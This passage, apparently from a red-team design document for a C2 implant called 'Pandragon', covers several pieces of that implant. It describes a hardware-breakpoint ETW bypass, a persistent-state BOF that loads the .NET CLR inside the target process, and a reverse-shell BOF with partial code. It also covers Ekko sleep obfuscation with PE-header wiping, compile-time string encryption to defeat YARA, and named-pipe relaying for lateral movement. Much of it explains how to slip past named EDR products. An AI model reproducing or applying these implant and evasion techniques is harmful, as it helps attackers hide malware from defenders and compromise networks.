From a memory forensics perspective, there are no patches to ntdll.dll. A differential scanner comparing the in-memory ntdll to the on-disk copy sees identical bytes. Maybe it won't, because the EDR hooked it and modified it in-memory. Either way, that's not our work. The debug registers are set, but a process can legally use hardware breakpoints, many legitimate debugging tools and anti-cheat systems do. A scanner would have to specifically read the thread context of every running thread and cross-reference the breakpoint addresses against known sensitive functions. This is possible but expensive, and it hasn't been observed in the wild for any of the three EDRs we tested. The pivot used for breakpoints is also accessible as a setting to Pandragon operators through a setting in the config.

The bypass also survives sleep obfuscation. When the beacon sleeps, it doesn't call NtTraceEvent (it's doing nothing), so the breakpoints don't fire. When it wakes and makes a syscall, the VEH ensures that the ETW bypass is still active. The state is per-thread context, and our thread lives as long as the beacon does.

The only risk is if the EDR itself checks for hardware breakpoints on NtTraceEvent entry. Some advanced EDRs could place their own breakpoints and detect when they're overwritten. In Pandragon, we explicitly avoid using DR0-DR3 if the syscall engine already has DR0 active, and we pick a free slot. If all three are taken, we gracefully fail and log it, no crash, no panic. The beacon continues without ETW bypass, and the operator can decide to skip the engagement or use a different technique. It should also be said that ETW bypass should be used sparingly. ETW bypassing is one of the few actions for which we support server input. Server can tell beacon not to disable the ETW bypass on-demand. In practice, you should bypass, execute your payload, then disable the bypass for stealth if you deem WinHTTP (or whatever networking backend you use)'s ETW events is less risky than that of your payload.

10.7 Limitations

This bypass is not a permanent blinding of the entire system. It's per-thread, and it only works for the thread that called `ETW_Enable`. In Pandragon's single-threaded architecture, that's all we need. If we ever move to a multi-threaded design, we'd have to set the breakpoint on every new thread, something we haven't implemented because we don't need it.

It also relies on the VEH being intact and unchained. If an EDR installs its own VEH *before* ours and decides to consume all `SINGLE_STEP` exceptions first, our handler will never fire. This is a known limitation; the countermeasure is to ensure that Pandragon's VEH is registered early, before any other hooking engine does its work. The beacon's initial bootstrap, which occurs before any network I/O, accomplishes this in practice.

11. Persistent State Across BOF Invocations

11.1. The Problem: BOFs Are Stateless by Design

BOFs, as useful as they are, remain stateless by design. Having solved long-running BOFs, we now have the problem that they cannot retain data in-memory after having been run multiple times. This realization hit very hard when I had the following question:

Could I technically make Execute-Assembly a single BOF?

The reply is, of course, yes. Nothing is impossible if your task is to create a project like Pandragon, or if you are part of the Futuristic Gadgets Lab. This is the logic behind it:

A C# Execute-Assembly BOF must load the CLR (Common Language Runtime) into the target process, create an AppDomain, load a .NET assembly from bytes or from disk, and finally invoke an entry point (e.g., Program.Main). Doing this from scratch every time you want to run a new .NET tool is prohibitively expensive: loading the CLR takes hundreds of milliseconds, consumes memory, and leaves forensic artefacts. Worse, most red teamers run multiple .NET tools during an engagement (Seatbelt, Rubeus, SharpHound, etc.). Reloading the CLR for each tool is loud and slow.

11.2 New Beacon API

```
void* BeaconGetPersistentStateData(uint64_t UUID, void* len)
```

which returns a RW per-BOF memory page and writes its length to len. The BOF must allocate len and will receive the size via it, if the current buffer is not large enough. If len returned == 0, BOF must assume the return value (aka the void*) points to your UUID's BofState. A NULL return along with 0 len means your UUID is either not registered, or there was no corresponding data. Maybe the Beacon has restarted since you last submitted data?

```
bool BeaconSetPersistentStateData(uint64_t UUID, void* src);
```

Beacon validates src exists. It must be a pointer to a BofState structure. It will be copied to Beacon's private memory. To guarantee TOCTOU vulnerabilities, it is assumed that it will NOT be edited by BOF during upload to Beacon. This allows BOFs to store data persistently from BOF to Beacon and back and forth and register a UUID to identify themselves.

BeaconIncreasePersistentStateData may be required, too, to increase our page's size from BOF if we need to store a lot of information.

Usage guide:

A BOF run multiple time could retrieve data like:

```

#define BOFUUID 6767676767 // thanks Sako for telling me there was an extra 7...

typedef struct BOFState {
    bool isthisfirstrun;

    HANDLE anonymousPipeHandle;

    uint64_t sacrificialprocessPID;

    // ....
};

BOFState state;

bool isthisfirstrun(void) {
    state = BOFState(BeaconGetPersistentStateData(BOFUUID));

    return state.isthisfirstrun
}

void go(char *args, int alen) {
    if(isthisfirstrun()) { //... } else { // ...}
}

```

This solution elegantly solves the given problem: the stateless nature of BOFs.

11.3 Proof-Of-Concept

With persistent state, we can turn Execute-Assembly into a **dual-use BOF**:

- **First run** (no persistent state found):
 - Load the CLR via ICLRMetaHost and ICLRRuntimeInfo (using the same unhooked \KnownDlls copies of mscoree.dll).
 - Create a dedicated AppDomain (e.g., "PandragonDomain") with a sandboxed permission set.
 - Store the following in a BOFState structure (using BeaconSetPersistentStateData with a fixed UUID for this BOF):
 - The AppDomain pointer (or its handle).
 - A hashmap of already-loaded assemblies (to avoid re-loading the same DLLs).
 - A flag indicating the CLR is ready.
 - Then, load the requested .NET assembly (from the provided bytes or a remote URL) and execute it.

- **Subsequent runs** (persistent state found):
 - Retrieve the BOFState via BeaconGetPersistentStateData.
 - Skip all CLR initialisation – the runtime is already waiting.
 - Directly load the new assembly into the existing AppDomain (or, if the assembly is already cached, reuse it).
 - Invoke the requested method with the given arguments.
 - Return output via the normal BeaconOutput callbacks.

The dual-use design also allows the operator to unload the CLR gracefully by calling the same BOF with a special --unload argument. In that case, the BOF retrieves the state, releases the AppDomain (AppDomain.Unload), zeroes the state structure, and calls BeaconSetPersistentStateData with a NULL pointer to delete the entry.

All of this is possible only because of the persistent state API described in §11.2. Without it, Execute-Assembly would remain a fat, stateless, slow BOF, or force us to embed the CLR logic into the main beacon, bloating its footprint. With it, we get a lean, fast, and stealthy .NET executor that feels like a native part of the beacon.

Previously, we needed to use clever design tricks to get around statelessness in BOF. The following is a reverse shell PoC using a triple-use methodology and design tricks. Since pipes are necessary to pipe output from the shell (powershell.exe, cmd.exe...), we can do the following:

- * 1) First run (no args): creates pipe + spawns shell
- * 2) Subsequent runs with args: sends command + reads output
- * 3) Subsequent runs without args: reads only pending output

In implementation:

```
const wchar_t PIPE_NAME[] = L"\\\\.\\pipe\\pd_7a2f9c4e1b"; // must not change

void go(char *args, int alen){
    /* Detect first run by attempting to open existing pipe */
    hPipe = CreateFileW(PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    bool isFirstRun = (hPipe == INVALID_HANDLE_VALUE && kernel32$GetLastError() == ERROR_FILE_NOT_FOUND);
    if (isFirstRun) {
        BeaconPrintf(CALLBACK_OUTPUT, "[*] reverse_shell: first run, initializing shell environment");
        HANDLE hPipeRead = NULL, hPipeWrite = NULL;
        kernel32$CreatePipe(&hPipeRead, &hPipeWrite, &saAttr, 0)
    }
    // ...
}
```

```

    success = kernel32$CreateProcessW(NULL, L"cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
// ...

    BeaconPrintf(CALLBACK_OUTPUT, "[+] reverse_shell: shell initialized successfully");

    goto cleanup;

}

/* Pipe already exists - we are in subsequent run mode */
if (hPipe == INVALID_HANDLE_VALUE) {
    BeaconPrintf(CALLBACK_ERROR, "reverse_shell: failed to connect to pipe (error %lu)", kernel32$GetLastError());

    goto cleanup;
}

/* If we received arguments, write command to pipe */
success = kernel32$WriteFile(hPipe, args, alen, &bytesWritten, NULL);
if (success && bytesWritten > 0) {
    /* Write newline to flush command */
    char newline = '\n';

    kernel32$WriteFile(hPipe, &newline, 1, &bytesWritten, NULL);

    /* Small delay to let shell process command */
    kernel32$Sleep(50);
}

/* Read any available output */
while (TRUE) {
    success = kernel32$PeekNamedPipe(hPipe, NULL, 0, NULL, &bytesAvailable, NULL);

    kernel32$ReadFile(hPipe, readBuffer, (bytesAvailable < READ_BUFFER_SIZE - 1) ? bytesAvailable : (READ_BUFFER_SIZE - 1),
&bytesRead, NULL);

    readBuffer[bytesRead] = '\0';

    BeaconOutput(CALLBACK_OUTPUT, readBuffer, bytesRead);
}
}

```


12. Sleep Obfuscation: Ekko and Insomnia Mode

"The quieter you become, the more you are able to hear."
-- not actually from *Kali Linux*, but it should be.

Sleep is the beacon's most vulnerable moment. Not because it's doing anything malicious, it isn't, but because memory scanners love idle time. When the beacon sleeps, its .text section sits there, fully decrypted, full of syscall wrappers and string decoders, waiting for a differential scan to compare it against the on-disk PE. CrowdStrike's Falcon and Elastic's memory scanner both perform this exact analysis during low CPU activity. If the beacon looks like itself while sleeping, it dies.

The solution is to make the beacon *not* look like itself. Encrypt its code sections during sleep, then decrypt them just before waking. That's the core of the **Ekko** technique (first explored by Spider, refined by others). Pandragon's implementation goes further: it adds a helper stack, PE header wiping, and a new Insomnia Mode that decouples wake-up from network check-ins.

12.1 Why Ekko, and Why Not Just VirtualProtect?

You could simply call `VirtualProtect(PAGE_NOACCESS)` on .text and be done with it. That would crash any scanner that tries to read the page, but it would also crash the beacon when it tries to execute its own code. No good.

You could also use `VirtualProtect` to flip pages to `PAGE_READWRITE`, XOR-encrypt them, then flip to `PAGE_NOACCESS`. That works, but the `NtProtectVirtualMemory` calls themselves are visibility events. An EDR that hooks that syscall sees you playing with page permissions on your own image, a strong heuristic for self-modifying code.

Ekko reduces the exposure window: encryption and decryption happen inside a tiny **.obf** section that stays executable at all times. The rest of .text is scrambled while the beacon waits. When the timer fires, the .obf code decrypts everything, restores the original stack, and resumes the main loop, all without ever calling `NtProtectVirtualMemory` on a non-.obf page while the beacon is *supposed* to be sleeping. The EDR sees a thread that vanished into a `NtContinue` and reappeared later. No anomaly.

12.2 Implementation Overview

The full implementation is built around a single function: `SleepObf_Ekko`. The beacon calls it instead of a normal `Sleep()` when the configuration flag `sleep_obfuscation` is set.

Step 0 – Persistent syscall table

Because the main beacon's .text will be encrypted, we cannot rely on its `functionTable` (which lives in a writable section but points to code that may be scrambled). Ekko initialises a *separate*, persistent `functionTable` using the same bootstrap routine. This table is stored in a

global pointer `g_ekkoFuncTable` and remains valid across sleep cycles. It uses only `.obf`-resident wrappers or raw syscall stubs.

Step 1 – Enumerate code sections

`enumerateCodeSections()` walks the PE headers of the beacon's own image. It collects every section that is both `IMAGE_SCN_CNT_CODE` and `IMAGE_SCN_MEM_EXECUTE` – typically `.text` and sometimes `.rdata` if it contains jump tables. The section that contains the `.obf` code (where `SleepObf_WaitingLoop` lives) is excluded, because that code must remain readable and executable throughout the sleep.

Step 2 – Derive a XOR key

The encryption is a simple repeating XOR. The key is derived from the beacon's compile-time `crypto_key` and its 8-byte `beacon_id`:

```
seed[i] = config_key[i] ^ beacon_id[i] for i = 0..7
```

```
seed[i] = config_key[i] for i = 8..31
```

```
xorKey[n] = seed[n % 32] ^ (n / 32)
```

The result is a 1024-byte repeating key that is different for every beacon (because the beacon ID is derived from the key itself – a circular dependency that guarantees uniqueness). XOR is not cryptographically strong, but the goal is obfuscation, not secrecy against a dedicated reverse engineer. The real protection comes from the fact that the key never leaves the `.obf` context and is wiped after use.

Step 3 – Set up the timer

A `RtlCreateTimerQueue + RtlCreateTimer` pair schedules a callback (`SleepObf_TimerCallback`) after `sleep_ms` (with jitter applied). The callback simply calls `NtSetEvent` on a manual-reset event. This event is the only synchronisation primitive between the timer and the waiting thread.

Step 4 – Capture the original context

`RtlCaptureContext` saves the current register state (RIP, RSP, non-volatile registers) into `originalContext`. This is the state we will return to after decryption. A flag `wokeUp` distinguishes the first sleep from subsequent wake-ups, because after `NtContinue` we land back inside `SleepObf_Ekko` with the same context, and we must know not to encrypt again.

Step 5 – Build the pivot context

We create a second context, `pivotContext`, that points RIP to `SleepObf_WaitingLoop` and RSP to a freshly allocated helper stack (16 KB, from the process heap). The helper stack is necessary because the main stack resides in a memory region that will be encrypted. If we stayed on the main stack, the decryption routine would try to read its own return addresses

from scrambled memory. The helper stack is allocated in a non-code, non-.text region and is never encrypted.

While we are on the helper stack, we also temporarily replace the TEB's StackBase and StackLimit to match the new stack. This keeps stack unwinding tools from panicking and avoids RtlCaptureContext from saving stale limits. The original TEB values are saved in the context and restored by SleepObf_WaitingLoop before returning.

Step 6 – Encrypt the code sections

For each section collected in Step 1:

- NtProtectVirtualMemory with PAGE_READWRITE
- xorCrypt over the entire section using the derived key
- NtProtectVirtualMemory back to PAGE_EXECUTE_READ

The encryption is done **in place**. After this point, any attempt to execute code from .text will crash, which is exactly what we want, because the beacon is supposed to be asleep and no code should be running from those pages.

Step 7 – Wipe PE headers (optional)

If config->options.sleep_wipe_pe_headers is true, we also zero out the first 0x1000 bytes of the image (the DOS header, NT headers, and section table). A backup is saved in peHeaderBackup and restored during wake-up. This defeats scanners that look for the MZ signature or parse the PE structure in memory. It also makes the beacon look like a raw blob of encrypted data, not a loaded executable. Eventually, this will be malleable and allow operators to embed arbitrary bytes to replace PE headers.

Step 8 – Pivot

NtContinue(&pivotContext, FALSE) jumps to SleepObf_WaitingLoop on the helper stack. The original thread never returns from this call; it is now running inside the waiting loop.

12.3 The Waiting Loop (.obf)

SleepObf_WaitingLoop is the only code that remains executable during sleep. It is placed in a separate .obf section via __attribute__((section(".obf"))), and the PE section containing it is excluded from encryption. The loop is simple:

1. NtWaitForSingleObject(ctx->doneEvent, FALSE, NULL) – blocks until the timer fires.
2. Decrypt all sections (same XOR + PAGE_EXECUTE_READ).
3. Restore PE headers if they were wiped.

4. Restore the original TEB stack limits.
5. Set `ctx->wokeUp = true`.
6. `NtContinue(&ctx->originalContext, FALSE)` – return to the main beacon loop, exactly where it left off.

Because `NtContinue` restores the original RSP and RIP, the beacon resumes execution inside `SleepObf_Ekko`, but this time `ctx->wokeUp` is true, so the function frees the helper stack, closes the event, and returns true to the caller. The caller (the main loop) then proceeds with its normal post-sleep activities: checking for new tasks, sending heartbeat, etc.

12.4 Insomnia Mode

A standard sleep obfuscation cycle always ends with a network check-in: the beacon wakes, decrypts itself, and immediately sends a `BEACON_POLL` to the server. This is predictable. An EDR that monitors network connections could correlate the wake-up with a burst of HTTPS traffic.

Insomnia Mode (enabled via `config->options.insomnia_mode`) breaks this correlation. When Insomnia is on, the beacon still performs the full Ekko cycle (encrypt → sleep → decrypt), but after decryption it does not check in. Instead, it performs a “dry wake”: it updates its internal timers, maybe runs a few local housekeeping tasks (like checking for named pipe relay connections), and then immediately goes back to sleep, often with a *different* sleep duration due to jittering.

From the outside, the process’s memory periodically scrambles and unscrambles, but no packets leave the host. To the server, the beacon appears to be offline. This is useful for:

- **Long-term persistence** - the beacon can survive for days without generating any C2 traffic, only waking to re-encrypt itself and check local conditions.
- **Evasion of egress monitoring** - if the network has a strict allowlist, Insomnia Mode could in theory let the beacon wait for a specific trigger (e.g., a file appearing on disk, a named pipe connection from another beacon) before it ever attempts to phone home.
- **Testing memory scanner resilience** - you can leave the beacon in Insomnia Mode for a week, then wake it up with a remote command to see if any EDR detected the periodic memory changes.

12.5 Why This Works Against Modern EDRs

EDR Feature	Pandragon's Countermeasure
Differential memory scanning (e.g., Elastic's peek-a-boo)	While asleep, .text is XOR'd with a beacon-unique key. The in-memory image bears no resemblance to the on-disk PE.
Page-level execution monitoring	The only executable pages during sleep are the tiny .obf section (which contains no sensitive strings or syscall stubs) and ntdll/kernel32 and whatever DLLs we have loader. The main beacon code is PAGE_EXECUTE_READ but encrypted, any attempt to execute it would fault.
Thread suspension analysis	The beacon's main thread is not suspended; it is blocked inside NtWaitForSingleObject on an event. That's a normal wait state, not an anomaly.
Stack unwinding / call stack inspection	The helper stack is indistinguishable from a fiber or a thread pool worker stack. The TEB's StackBase and StackLimit are temporarily swapped, but that happens inside the same thread, no kernel callback is triggered.
Memory protection change logging	NtProtectVirtualMemory is called only during the wake-up and sleep transitions, never during idle sleep. A long-running beacon may call it twice per sleep cycle, far less frequent than a typical process that loads DLLs or uses JIT compilation.

The weakest point is the .obf section itself. If an EDR scans memory while the beacon is asleep and finds a small, executable region that is not backed by any known module (or is backed by the beacon's own image but with weird permissions), it might raise a heuristic. To mitigate this, Pandragon places the .obf section inside the same PE section as a legitimate part of the beacon - usually .text - and marks it as executable. The exclusion logic in enumerateCodeSections ensures that this exact region is **not** encrypted. From a scanner's perspective, it looks like a normal code page that happens to be the only readable page in an otherwise encrypted binary. That's unusual, but not impossible for packed executables.

12.6 Limitations and Future Work

Single-threaded assumption - Ekko relies on the fact that no other thread is executing code in the encrypted sections during the sleep window. Pandragon is strictly single-threaded, so this holds. If we ever add a second thread (e.g., for asynchronous named pipe relay), we would need to pause all other threads before encryption - a much harder problem.

XOR is reversible with a debugger - An analyst who attaches to the sleeping process and sets a hardware breakpoint on SleepObf_WaitingLoop can dump the XOR key from memory and decrypt everything offline. That's unavoidable. The goal is to defeat *automated scanners*, not a human with a debugger.

PE header wiping breaks some third-party tools - If the beacon is injected into a process that expects to parse its own PE headers, zeroing the headers might cause a crash. The feature is off by default.

13. Compile-Time Obfuscation Without Runtime Overhead

Or: How I learned to stop worrying and let the compiler encrypt my literals.

13.1 The Problem

A strings run on most C2 beacons reveals everything: "NtOpenProcess", "winhttp.dll", "C:\\Windows\\System32\\cmd.exe", "\\.\pipe\\". These are signatures. Worse, they're *static* signatures, YARA rules can match them even if the beacon is packed or encrypted in memory, because the loader has to decrypt them somewhere.

We need strings that:

1. Never appear as plaintext in the binary (not in .rodata, not in .data, not in code sections).
2. Are not decrypted in a predictable global buffer (no `char* global_strings[]` that gets filled at startup).
3. Are decrypted on demand, used, and optionally wiped.
4. Do not depend on the CRT (no `malloc`, no `memcpy` from `glibc` that might be hooked).

13.2 Design Overview

Pandragon's string obfuscation uses three layers:

- Compile-time XOR with a per-byte keystream generated by an LCG.
- C++20 NTTP (Non-Type Template Parameter) strings to bake the literal into the type system, avoiding .rodata.
- Static function-local buffers with a ready flag and RAII wiping.

The result: each string literal expands to a call to `lcg_encrypt("literal")`, which returns a `char*` to a decrypted buffer that lives for the lifetime of the program (or until wiped). The cost is one LCG step per byte, plus one branch for the ready check.

13.3 The LCG Keystream

We use the `glibc` LCG parameters (also known as the "Numerical Recipes" constants):

```
MCLG_LCG_MUL = 6364136223846793005ULL;
```

```
MCLG_LCG_ADD = 1442695040888963407ULL;
```

The seed for each string is `BUILD_TIME_RANDOM_SEED ^ hash(string)`. The `BUILD_TIME_RANDOM_SEED` is defined at compile time (e.g., from `__TIME__` and `__DATE__`), so each binary has a different obfuscation key.

The keystream is generated per byte by advancing the LCG and extracting 8 bits. This is **not** cryptographically secure, it's obfuscation, not encryption. The goal is to raise the cost of static analysis, not to resist a determined attacker with a debugger.

13.4 Compile-Time Blob Generation

The `obfuscated_data<N, T>` template holds the XOR'd bytes. It is constexpr constructed:

CODE_START

```
template<size_t N, typename T>
struct obfuscated_data {
    T data[N];

    constexpr obfuscated_data(const T (&src)[N], uint64_t seed, index_sequence<Is...>)
        : data{ static_cast<T>(src[Is] ^ ct_prng::get_stream_value_at_index<T>(seed, Is))... } {}
};
```

CODE_END

The `ct_prng::get_stream_value_at_index` runs entirely at compile time. The resulting data array is stored in `.rodata`, but it contains only ciphertext. The plaintext never materializes.

Read on!

13.5 Type-Encoded Strings with NTTP

C++20 allows string literals as template parameters via structural types. We define:

CODE_START

```
template<size_t N>
struct StrParam {
    char v[N]{};
    constexpr StrParam(const char (&s)[N]) { /* copy */ }
};
```

CODE_END

A string literal becomes a type: `StrParam<12>{"ntdll.dll"}`. This type has no runtime identity. The `ObfuscatedStr<S>` template then uses `S.v` (the plaintext) to generate the obfuscated blob, but `S.v` itself never appears in the binary because the `constexpr` constructor runs during compilation and the resulting object is not emitted.

13.6 Runtime Decryption with static Locals

Each `ObfuscatedStr<S>::get()` contains:

CODE_START

```
static char buf[N];
static bool ready = false;
if (!ready) {
    _lcg_resolve_str(blob.data, N, seed, buf);
    ready = true;
}
return buf;
```

CODE_END

The buffer is `static` (lives for the program duration) but local to the function template instantiation. Different strings get different buffers. The `ready` flag ensures we decrypt once.

For sensitive strings (e.g., a pipe name that we want to wipe after use), we provide `get_secure()` which returns a `wipe_on_exit` wrapper. The buffer is zeroed when the wrapper goes out of scope, and the ready flag is reset so the next call re-decrypts.

13.7 Performance and Code Size

Decrypting a 12-byte string costs ~100 cycles (LCG steps + memory copy). Over the lifetime of a beacon, this is negligible. The code size for 150 strings is:

- 150 obfuscated blobs in `.rodata` (average ~10 bytes each = 1.5 KB)
- 150 instances of `static char buf[N]` in `.bss` (zero-initialized, so no disk space)
- 150 ready flags in `.bss` (150 bytes)
- One copy of `_lcg_resolve_str` (~100 bytes)

Total overhead: ~2 KB. The equivalent plaintext strings would occupy similar space, so the obfuscation is nearly free.

13.8 Limitations

- **Debuggers:** A live debugger can break after `get()` and read the plaintext from `buf`. This is inevitable. The defense is anti-debug (not covered here).
- **Static analysis:** A reverse engineer can extract the LCG seed from the binary (it's stored as a constant in each `ObfuscatedStr` instantiation) and decrypt all strings offline. This is also inevitable. The goal is to make automated scanning harder, not to achieve cryptographic secrecy.
- **Thread safety:** The static buffers and ready flags are not atomic. Pandragon is single-threaded, so this is safe. A multi-threaded beacon would need locks.

13.9 Integration with the Rest of Pandragon

All Windows API names, DLL names, pipe paths, and error strings are wrapped with `lcg_encrypt`. Even those intended to be configurable (e.g., User-Agent strings, custom HTTP headers) per engagement are encrypted, though by the config mechanism (which is xchacha20-poly1305 with a per-compilation key)

The `lcg_encrypt_ce` (compile-time evaluation) variant is used for the ChaCha20 constant "expand 32-byte k", which must be available before any runtime decryption occurs. This works because the constant is known at compile time and the obfuscation is purely a compile-time transformation; no runtime decryption is needed.

13.10 Conclusion

String obfuscation is not a silver bullet. But combined with the empty import table (Section 4), lazy module loading, and indirect syscalls (11.), it closes the last obvious static signature vector. A beacon with no plaintext strings, no imports, and no direct syscalls is a beacon that looks like noise until it speaks.

The full implementation is in `bastia.h` and `bastia.cpp`, the FGL's cryptography library.

You are now reading:

Part IV

Covert Communication & Lateral Movement

"If I grant you power, could you go on?"

C.C. to Lelouch, Code Geass.

14. Named Pipe Relay & Peer-to-Peer Beacon Chaining

Lateral movement is where a red team engagement comes alive. You've landed on an engagement, you've planted your first Pandragon beacon, and now you need to reach the database server that sits in a different VLAN, with its own firewall, with only SMB allowed. You need a pivot. You need a *relay*.

Most C2 frameworks approach this by opening a SOCKS proxy or an SMB named pipe and blindly shovelling TCP streams, often re-encrypting with a shared key. That approach has two fatal flaws: it breaks *perfect forward secrecy* (PFS) across the chain, and it forces the implant to carry far too much logic, logic that leaves detectable signatures. I wanted Pandragon's relay to be something else entirely: a cryptographic courier so unburdened by intelligence that even if it were captured, it couldn't betray the children it carried.

14.1 The Problem: Islands of Compromise

A typical network today segments critical assets behind internal firewalls. You can reach the jump host from the internet, but from the jump host to the domain controller you have only SMB (port 445) and maybe WinRM. To move laterally, you need a transport that looks like legitimate Windows inter-process communication, that carries an opaque, encrypted payload, and that leaves no plaintext identifiers for an EDR to feast on. Named pipes fit perfectly: they ride over SMB, they're ubiquitous, and they're almost never inspected by network firewalls.

But the architecture must be paranoid. If the parent beacon is compromised, say, a defender dumps its memory and extracts a shared relay key, they shouldn't be able to decrypt any child's traffic, past or future. And if a child is captured, the parent and any other siblings must remain cryptographically isolated. This is not a nice-to-have; it's the difference between a single casualty and a total network compromise laid bare.

14.2 Design Tenets: Dumb, Blind, and Operator-Driven

We must have only three rules to design the perfect relay:

1. **The parent is a dumb relay.** It reads encrypted blobs from a pipe and forwards them to the server. It never decrypts them. It does not even understand them. It never sees the child's beacon ID, its tasking, or its output. The parent is a courier who cannot open the envelope.
2. **The pipe name is the only credential.** No 8-byte beacon_id is ever sent in the clear. The pipe name, generated server-side by the operator (possibly randomized), is the sole authentication token. If the pipe name is unguessable, random pipe connections are meaningless noise.

3. **The server owns the routing graph.** The implant has no idea who its children are; it only knows the list of pipe names the server told it to create. The server maintains the full parent-child mapping, making re-parenting and multi-hop traversal a purely server-side affair.

These rules lead to a relay that is stateless with respect to the data it transports. The parent doesn't need a separate thread, a complex state machine, or even a new chunk of heap memory for each child. It all hooks into the existent, single-threaded main loop that already drives the beacon's heartbeat.

14.3 The Named Pipe Transport

Before the relay can exist, the beacon must speak the language of pipes. Pandragon's network abstraction already supported HTTP, HTTPS, and raw TCP. Adding pipes meant teaching the beacon to create, connect, read, and write to Windows named pipes, all without dragging in the CRT or bloating the binary.

We added the new channel type `PCFG_CHANNEL_PIPE = 4` to the configuration parser. The C2 channel block for a pipe transport looks like this:

```
[type=4] [pipe_name_len(1B)] [pipe_name(variable)] [reserved(1B)] [port=0(2B)]  
[max_failures(1B)] [backoff_ms(4B)] [malleable_mode=0xFF] [host=""] [path=""] [ua=""]
```

No host, no port. The pipe name *is* the address. For a child beacon, connecting to the pipe is simply a `WaitNamedPipeW` followed by `CreateFileW`. The same 4-byte big-endian length prefix that our TCP channel uses frames each message; no new protocol is needed, just a different syscall.

On the parent side, `CreateNamedPipeW` creates the listening pipe with `PIPE_ACCESS_DUPLEX` and `FILE_FLAG_OVERLAPPED`, the overlapped flag being critical. In a single-threaded beacon, we cannot afford to block the entire implant while waiting for a child to connect. I shoved the listening handle and an `OVERLAPPED` structure into a linked list of `PipeChild` nodes. The accept check is a quick `ConnectNamedPipe` with `GetOverlappedResult` using a zero timeout; if no child is there yet, we simply move on and let the main loop breathe.

14.4 The Relay Engine: A Glorified Mailroom

The relay engine is not a separate subsystem. It is a single boolean flag (`g_relayEnabled`) and a linked list of `PipeChild` structures, checked once per iteration of the beacon's main loop, right

before `pollForCommands()`. I wanted the beacon to remain fully operational, running BOFs, checking in, sleeping, while simultaneously ferrying data for anyone connected to its pipes.

The data structure is intentionally small:

CODE_START

```
struct PipeChild {
    PipeChild*  next;

    wchar_t    pipe_name[256]; // e.g., "msagent_XYZ"

    HANDLE     hListen;        // overlapped listening handle

    HANDLE     hData;          // connected child data handle (or INVALID_HANDLE_VALUE)

    OVERLAPPED ov;

    uint32_t   pipe_id;        // local identifier for server referencing

    uint64_t   created_at;

    bool       active;
};
```

CODE_END

The server tells the parent to start relay mode with `START_RELAY`, which just sets `g_relayEnabled = true`. Then individual children are added via `RELAY_ADD_CHILD`, which carries the `pipe_id` and the operator-chosen pipe name. The parent calls `CreateNamedPipeW` and appends a new `PipeChild` to the global list. That's it. Why complicate it?

When the main loop runs, `pipeRelayCheck()` iterates the list:

- If a child hasn't connected yet, we perform a non-blocking overlapped accept. If it succeeds, we store the resulting `hData` handle.
- If `hData` is valid, we peek for data (a non-blocking read of the 4-byte length prefix, then the full message). If a complete frame is available, we read it, wrap it in a `RELAY_CHILD_UP` packet, and send it to the server immediately, before the beacon does its own work.

Downstream delivery works in reverse. When the server sends a `RELAY_DOWN` packet to the parent, the parent's receive handler parses the `pipe_id`, looks up the child, and writes the encrypted blob to `hData`. If the pipe is broken, the parent silently sends a `RELAY_DISCONNECT` up to the server and cleans up the local handle.

I deliberately avoided making this its own thread because concurrency is the root of all Heisenbugs. The beacon's main loop is a deterministic, tight sequence of events. Adding a secondary thread that shares the same crypto context or the same `functionTable` would introduce a class of races I have no desire to debug. The non-blocking, overlapped I/O approach keeps the implant single-threaded, predictable, and tiny, exactly as Pandragon was designed.

14.5 The Wire Protocol: Relaying Without Knowing

The protocol extensions sit on top of the existing Pandragon packet format. Every relay packet still carries the full 47-byte header with the parent's `beacon_id`, sequence number, and Poly1305 MAC. The opcodes are new, but the cryptographic envelope is the same.

Relay opcodes:

Name	Direction	Purpose
START_RELAY	Server → Parent	Enable relay mode (no payload)
STOP_RELAY	Server → Parent	Disable relay, drain all children
RELAY_ADD_CHILD	Server → Parent	Add a listening pipe: [pipe_id(4B LE)] [pipe_name_len(1B)][pipe_name]
RELAY_REMOVE_CHILD	Server → Parent	Remove a specific pipe: [pipe_id(4B LE)]
RELAY_CHILD_UP	Parent → Server	Encrypted child packet from pipe: [pipe_id(4B LE)][child_pkt_len(4B BE)][child_encrypted_pkt]
RELAY_DOWN	Server → Parent	Encrypted child packet for pipe: [pipe_id(4B LE)][child_pkt_len(4B BE)][child_encrypted_pkt]
RELAY_DISCONNECT	Parent → Server	Child disconnected: [pipe_id(4B LE)]

Opcode are deliberately not shown. Check the table in Chapter 16. for it.

The parent's job is mechanical. When it reads a frame from a child's pipe, it doesn't inspect the contents. It simply attaches the `pipe_id` and the length, wraps it in a `RELAY_CHILD_UP`, and calls the normal `sendPacket()` routine. The server decrypts the inner child packet with the child's own key, completely independently of the parent. PFS is preserved.

Downstream, the server takes a fully encrypted child packet (already encrypted with the child's key) and wraps it in RELAY_DOWN, addressed to the parent with the child's pipe_id. The parent writes that exact blob into the pipe. The child decrypts and processes it as if it had come over a direct TCP channel.

The magic, and the cleverness, happens for multi-hop scenarios, but the parent remains equally oblivious.

14.6 Multi-Hop: RELAY_MULTI and the Recursive Courier

Suppose an operator wants to reach Beacon C, which sits three hops away: $A \rightarrow B \rightarrow C$. The server needs to send a command to C, but C is only reachable through B, and B is only reachable through A. Neither A nor B knows C's identity; each only knows about its own immediate children.

I initially introduced RELAY_MULTI (0x18) as a nestable envelope. The server constructs, from the innermost layer outward:

[0x42 RELAY_DOWN for pipe_id_c_on_B][encrypted_packet_for_C]

That's the message B would normally receive directly. The server then wraps that entire frame in a RELAY_MULTI addressed to A:

[0x48 RELAY_MULTI][pipe_id_to_B_on_A][inner_frame: the RELAY_DOWN above]

Parent A receives this, sees the inner payload is a RELAY_DOWN, reads the outer pipe_id_to_B_on_A, and forwards the inner frame verbatim to B. B then sees a normal RELAY_DOWN addressed to its local pipe_id_c, forwards to C. C decrypts its own packet with its own key. At no point does A or B decrypt anything belonging to C. The parent is, always and forever, a courier who cannot open the letters he carries.

The server, possessing the full routing graph, can nest arbitrarily deep. The only limitation is the maximum packet size, which in Pandragon is currently 64 KiB minus the header overhead, enough for dozens of nested layers before it matters.

Though, this opcode ended up being redundant; we only need RELAY_ADD_CHILD for nested relaying. We can send a RELAY_ADD_CHILD to B to have an effective:

A ←-----→ B ←-----→ C

[parent of B] [child of A, parent of C] [child of B]

chain that allows arbitrary-length routing chains.

14.7 Server-Side Routing: An Omniscient Cartographer

